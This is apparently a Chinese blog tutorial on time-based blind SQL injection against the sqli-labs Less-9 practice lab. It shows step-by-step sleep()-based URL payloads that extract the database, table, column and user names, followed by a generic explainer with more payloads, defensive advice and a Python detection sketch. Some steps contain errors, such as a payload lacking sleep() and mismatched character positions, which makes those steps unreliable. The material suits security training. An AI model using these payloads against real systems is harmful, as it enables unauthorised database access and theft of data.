SQL注入sleep注入

一、预备知识

熟悉基本SQL语句

二、实验目的

掌握SQL注入之sleep注入

三、实验工具

火狐浏览器(hackbar插件)

四、实验环境

1. Web服务器Windows Server 2003
2. 客户机一台

五、实验步骤

第一步:访问

http://www.any.com/sqli/Less-9/?id=1

页面正常返回:

在这里插入图片描述

第二步:加入单引号,访问

http://www.any.com/sqli/Less-9/?id=1'

不会报错,页面正常返回,可以判断可能是 bool 型注入:

在这里插入图片描述

第三步:查看数据库名称

1)输入:

http://www.any.com/sqli/Less-9/?id=1' and sleep( if(ascii(substr(database(),1,1))<116,0,5)) %23

页面正常返回,说明 database 的第一个字符的 ascii 小于 116:

在这里插入图片描述

2)输入:

http://www.any.com/sqli/Less-9/?id=1' and sleep( if(ascii(substr(database(),1,1))<115,0,5)) %23

页面大约等待 5s 返回,说明 database 的第一个字符的 ascii 不小于 115,综上所述,第一个字符的 ascii 是 115,即 s:

在这里插入图片描述

依次类推,得到 database 为 :security。

第四步:查看 security 中所有表

1)输入:

http://www.any.com/sqli/Less-9/?id=1' and sleep( if(ascii(substr((select table_name from information_schema.tables where table_schema=' security' limit 0,1),1,1))<102,0,5)) %23

页面正常返回,说明表的第一个字符的 、ascii 小于 102:

在这里插入图片描述

2)输入:

http://www.any.com/sqli/Less-9/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=' security' limit 0,1),1,1))<101%23

页面返回大于等待 5s,说明表的第二个字符的 ascii 不小于 101,综上所述,第二个字符的 ascii 是 101,即e:

在这里插入图片描述

依次类推,得到所有的表为:emailsreferersuagentsusers

第五步:查看 users 表的所有的列

1)输入:

http://www.any.com/sqli/Less-9/?id=1' and sleep( if(ascii(substr((select column_name from information_schema.columns where table_name=' users' and table_schema=' security' limit 0,1),1,1))<106,0,5)) %23

页面正常返回,说明表的第一个字符的 ascii 小于 106:

在这里插入图片描述

2)输入:

http://www.any.com/sqli/Less-9/?id=1' and sleep( if(ascii(substr((select column_name from information_schema.columns where table_name=' users' and table_schema=' security' limit 0,1),1,1))<105,0,5)) %23

页面返回大约等待 5s,说明表的第二个字符的 ascii 不小于 105,综上所述,第一个字符的 ascii 是 105,即i:

在这里插入图片描述

依次类推,得到表的所有列为:idusernamepassword

第六步:查看 username 的列的值

1)输入:

http://www.any.com/sqli/Less-9/?id=1' and sleep( if(ascii(substring((select username from security.users limit 0,1),1,1))<69,0,5)) %23

页面正常返回,说明表的第一个字符的 ascii 小于 69:

在这里插入图片描述

2)输入:

http://www.any.com/sqli/Less-9/?id=1' and sleep( if(ascii(substring((select username from security.users limit 0,1),1,1))<68,0,5)) %23

页面返回大约等待 5s,说明表的第一个字符的 ascii 不小于 68,综上所述,第一个字符的 ascii 是 68,即 D:

在这里插入图片描述

依次类推,得到 users 表 username 的值为:Dump

### SQL注入SLEEP函数的使用 在SQL注入场景下,`SLEEP()` 函数常被用于时间盲注攻击。通过向数据库发送一条指令并让其延迟响应一段时间,攻击者可以判断查询是否成功执行以及是否存在漏洞[^4]。 以下是 `SLEEP()` 的基本语法及其工作原理: #### 基本语法 ```sql SELECT SLEEP(seconds); ``` 其中 `seconds` 是一个整数参数,表示服务器应暂停的时间长度(单位为秒)。如果该值小于等于零,则不会发生任何延迟。 当利用此功能实施渗透测试时,可以通过条件表达式结合 `IF()` 和 `SLEEP()` 来实现逻辑控制。例如,在 MySQL 中有如下形式: ```sql IF(condition, true_result, false_result) ``` 这里我们关注的是如何使程序等待特定时间段作为反馈机制的一部分。 #### 实际应用案例分析 假设存在这样一个易受攻击的 URL 参数结构: ``` http://example.com/page?id=1 ``` 后台可能运行着这样的查询代码片段: ```php $query = "SELECT * FROM articles WHERE id=".$_GET['id']; ``` 此时就可以尝试构造恶意请求以验证是否存在可利用之处。下面给出几个具体例子说明不同情况下的操作手法。 ##### 方法一:基础版延时探测 最简单的做法就是直接附加带有固定数值的睡眠命令到原有数据后面去观察前后耗时差异。 ``` http://example.com/page?id=1 AND SLEEP(5)--+ ``` 上述链接会令目标主机上的处理过程停滞五秒钟再继续完成其余部分的工作流程;假如页面加载速度显著变慢则表明可能存在隐患。 ##### 方法二:动态调整依据实际返回结果定制化策略 为了更精确地定位问题所在位置或者进一步收集更多信息,还可以引入额外变量参与运算从而形成更加灵活多样的组合拳套路。比如先确定当前记录总数然后再逐一排查各个字段内容等等... ``` http://example.com/page?id=-1 UNION ALL SELECT IF(SUBSTRING(database(),1,1)='m',SLEEP(5),NULL) --+ ``` 这段脚本的作用在于逐位猜测数据库名的第一个字母是不是 'm' 。如果是的话就触发相应的休眠动作以便后续统计分析之需。 需要注意的是以上所有的演示均仅限于合法授权范围内的安全性评估活动当中严禁非法滥用! #### 防御措施建议 针对此类威胁应当采取综合性的防护手段包括但不限于以下几个方面: - **输入校验**:严格限定外部提交过来的数据格式不允许出现特殊字符未经许可擅自修改原始意图的行为一律拒绝受理; - **预编译语句**:采用占位符代替手动拼接字符串的方式构建最终要被执行的实际SQL文本减少人为失误带来的风险因素影响程度降到最低限度之内 - **最小权限原则**:合理分配账户角色职能划分清楚各自的职责边界避免因过度开放而导致不必要的麻烦困扰等问题的发生几率大大降低下来 ```python import time def simulate_sleep_attack(): start_time = time.time() # Simulate a vulnerable query with injected sleep command. result = execute_query("SELECT * FROM users WHERE id = 1 AND SLEEP(5)") elapsed_time = time.time() - start_time if elapsed_time >= 5: print("Potential vulnerability detected!") else: print("No vulnerability found.") simulate_sleep_attack() ```
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值